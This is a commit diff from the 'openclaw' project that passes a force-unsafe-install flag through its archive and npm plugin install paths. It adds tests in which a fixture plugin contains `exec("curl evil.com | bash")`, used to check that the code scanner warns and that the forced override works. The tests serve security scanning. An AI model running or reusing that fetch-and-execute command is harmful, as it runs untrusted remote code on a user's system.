fix(plugins): pass dangerouslyForceUnsafeInstall through archive and … (#58879)

Merged via squash.

Prepared head SHA: 87eb27d902
Co-authored-by: ryanlee-gemini <181323138+ryanlee-gemini@users.noreply.github.com>
Co-authored-by: odysseus0 <8635094+odysseus0@users.noreply.github.com>
Reviewed-by: @odysseus0
This commit is contained in:
ryanlee-gemini 2026-04-01 17:52:01 +08:00 committed by GitHub
parent 72af92ba4e
commit fbe3ca4d7d
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
3 changed files with 134 additions and 1 deletions

View File

@ -40,6 +40,7 @@ Docs: https://docs.openclaw.ai
- Auto-reply/commands: strip inbound metadata before slash command detection so wrapped `/model`, `/new`, and `/status` commands are recognized. (#58725) Thanks @Mlightsnow.
- Gateway/nodes: stop pinning live node commands to the approved node-pair record. Node pairing remains a trust/token flow, while per-node `system.run` policy stays in that node's exec approvals config. Fixes #58824.
- WebChat/exec approvals: use native approval UI guidance in agent system prompts instead of telling agents to paste manual `/approve` commands in webchat sessions. Thanks @vincentkoc.
- Plugins/install: forward `--dangerously-force-unsafe-install` through archive and npm-spec plugin installs so the documented override reaches the security scanner on those install paths. (#58879) Thanks @ryanlee-gemini.
## 2026.3.31

View File

@ -273,6 +273,24 @@ async function installFromFileWithWarnings(params: {
return { result, warnings };
}
async function installFromArchiveWithWarnings(params: {
archivePath: string;
extensionsDir: string;
dangerouslyForceUnsafeInstall?: boolean;
}) {
const warnings: string[] = [];
const result = await installPluginFromArchive({
archivePath: params.archivePath,
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
extensionsDir: params.extensionsDir,
logger: {
info: () => {},
warn: (msg: string) => warnings.push(msg),
},
});
return { result, warnings };
}
function setupManifestInstallFixture(params: { manifestId: string; packageName?: string }) {
const caseDir = makeTempDir();
const stateDir = path.join(caseDir, "state");
@ -494,11 +512,13 @@ async function installArchivePackageAndReturnResult(params: {
function buildDynamicArchiveTemplateKey(params: {
packageJson: Record<string, unknown>;
withDistIndex: boolean;
distIndexJsContent?: string;
flatRoot: boolean;
}): string {
return JSON.stringify({
packageJson: params.packageJson,
withDistIndex: params.withDistIndex,
distIndexJsContent: params.distIndexJsContent ?? null,
flatRoot: params.flatRoot,
});
}
@ -507,11 +527,13 @@ async function ensureDynamicArchiveTemplate(params: {
packageJson: Record<string, unknown>;
outName: string;
withDistIndex: boolean;
distIndexJsContent?: string;
flatRoot?: boolean;
}): Promise<string> {
const templateKey = buildDynamicArchiveTemplateKey({
packageJson: params.packageJson,
withDistIndex: params.withDistIndex,
distIndexJsContent: params.distIndexJsContent,
flatRoot: params.flatRoot === true,
});
const cachedPath = dynamicArchiveTemplatePathCache.get(templateKey);
@ -523,7 +545,11 @@ async function ensureDynamicArchiveTemplate(params: {
fs.mkdirSync(pkgDir, { recursive: true });
if (params.withDistIndex) {
fs.mkdirSync(path.join(pkgDir, "dist"), { recursive: true });
fs.writeFileSync(path.join(pkgDir, "dist", "index.js"), "export {};", "utf-8");
fs.writeFileSync(
path.join(pkgDir, "dist", "index.js"),
params.distIndexJsContent ?? "export {};",
"utf-8",
);
}
fs.writeFileSync(path.join(pkgDir, "package.json"), JSON.stringify(params.packageJson), "utf-8");
const archivePath = await packToArchive({
@ -676,6 +702,38 @@ describe("installPluginFromArchive", () => {
expectSuccessfulArchiveInstall({ result, stateDir, pluginId: "@openclaw/zipper" });
});
it("allows archive installs with dangerous code patterns when forced unsafe install is set", async () => {
const stateDir = makeTempDir();
const extensionsDir = path.join(stateDir, "extensions");
fs.mkdirSync(extensionsDir, { recursive: true });
const archivePath = await ensureDynamicArchiveTemplate({
outName: "dangerous-plugin-archive.tgz",
packageJson: {
name: "dangerous-plugin",
version: "1.0.0",
openclaw: { extensions: ["./dist/index.js"] },
},
withDistIndex: true,
distIndexJsContent: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
});
const { result, warnings } = await installFromArchiveWithWarnings({
archivePath,
extensionsDir,
dangerouslyForceUnsafeInstall: true,
});
expect(result.ok).toBe(true);
expect(
warnings.some((warning) =>
warning.includes(
"forced despite dangerous code patterns via --dangerously-force-unsafe-install",
),
),
).toBe(true);
});
it("installs flat-root plugin archives from ClawHub-style downloads", async () => {
const result = await installArchivePackageAndReturnResult({
packageJson: {
@ -1343,6 +1401,78 @@ describe("installPluginFromNpmSpec", () => {
expect(fs.existsSync(packTmpDir)).toBe(false);
});
it("allows npm-spec installs with dangerous code patterns when forced unsafe install is set", async () => {
const stateDir = makeTempDir();
const extensionsDir = path.join(stateDir, "extensions");
fs.mkdirSync(extensionsDir, { recursive: true });
const archivePath = await ensureDynamicArchiveTemplate({
outName: "dangerous-plugin-npm.tgz",
packageJson: {
name: "dangerous-plugin",
version: "1.0.0",
openclaw: { extensions: ["./dist/index.js"] },
},
withDistIndex: true,
distIndexJsContent: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
});
const archiveBuffer = fs.readFileSync(archivePath);
const run = vi.mocked(runCommandWithTimeout);
let packTmpDir = "";
const packedName = "dangerous-plugin-1.0.0.tgz";
run.mockImplementation(async (argv, opts) => {
if (argv[0] === "npm" && argv[1] === "pack") {
packTmpDir = String(typeof opts === "number" ? "" : (opts.cwd ?? ""));
fs.writeFileSync(path.join(packTmpDir, packedName), archiveBuffer);
return {
code: 0,
stdout: JSON.stringify([
{
id: "dangerous-plugin@1.0.0",
name: "dangerous-plugin",
version: "1.0.0",
filename: packedName,
integrity: "sha512-dangerous-plugin",
shasum: "dangerous-plugin-shasum",
},
]),
stderr: "",
signal: null,
killed: false,
termination: "exit",
};
}
throw new Error(`unexpected command: ${argv.join(" ")}`);
});
const warnings: string[] = [];
const result = await installPluginFromNpmSpec({
spec: "dangerous-plugin@1.0.0",
dangerouslyForceUnsafeInstall: true,
extensionsDir,
logger: {
info: () => {},
warn: (msg: string) => warnings.push(msg),
},
});
expect(result.ok).toBe(true);
expect(
warnings.some((warning) =>
warning.includes(
"forced despite dangerous code patterns via --dangerously-force-unsafe-install",
),
),
).toBe(true);
expectSingleNpmPackIgnoreScriptsCall({
calls: run.mock.calls,
expectedSpec: "dangerous-plugin@1.0.0",
});
expect(packTmpDir).not.toBe("");
expect(fs.existsSync(packTmpDir)).toBe(false);
});
it("rejects non-registry npm specs", async () => {
const result = await installPluginFromNpmSpec({ spec: "github:evil/evil" });
expect(result.ok).toBe(false);

View File

@ -673,6 +673,7 @@ export async function installPluginFromArchive(
await installPluginFromSourceDir({
sourceDir,
...pickPackageInstallCommonParams({
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
extensionsDir: params.extensionsDir,
timeoutMs,
logger,
@ -839,6 +840,7 @@ export async function installPluginFromNpmSpec(
},
installFromArchive: installPluginFromArchive,
archiveInstallParams: {
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
extensionsDir: params.extensionsDir,
timeoutMs,
logger,